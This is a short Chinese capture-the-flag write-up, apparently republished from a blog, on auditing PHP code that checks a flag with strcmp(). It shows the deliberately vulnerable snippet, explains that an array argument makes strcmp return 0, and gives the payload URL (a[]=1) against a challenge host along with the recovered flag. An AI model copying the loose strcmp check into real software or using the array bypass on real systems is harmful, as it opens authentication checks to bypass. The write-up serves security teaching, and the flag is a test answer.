zoukankan      html  css  js  c++  java
  • 代码审计-strcmp比较字符串

    <?php
    $flag = "flag{xxxxx}";
    if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0) 
    //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
    //比较两个字符串(区分大小写)
    die('Flag: '.$flag);
    else
    print 'No';
    }
    ?>

    strcmp(str1,str2)

    如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
    比较两个字符串(区分大小写)

    如果我们传入非字符串类型的数据的时候(数组),这个函数将发生错误,并且返回数值 0

    在5.3之前的php中,显示了报错的警告信息后,返回数值0

    我们可以构造payload

    http://123.206.87.240:9009/6.php?a[]=1

    得到flag

    Flag: flag{bugku_dmsj_912k}

  • 相关阅读:
    ssh 命令
    mtr 命令
    ping 命令
    curl 命令
    echo 命令
    cp 命令
    sftp服务器配置
    tomcat性能优化
    消息队列
    深度学习
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11406736.html
Copyright © 2011-2022 走看看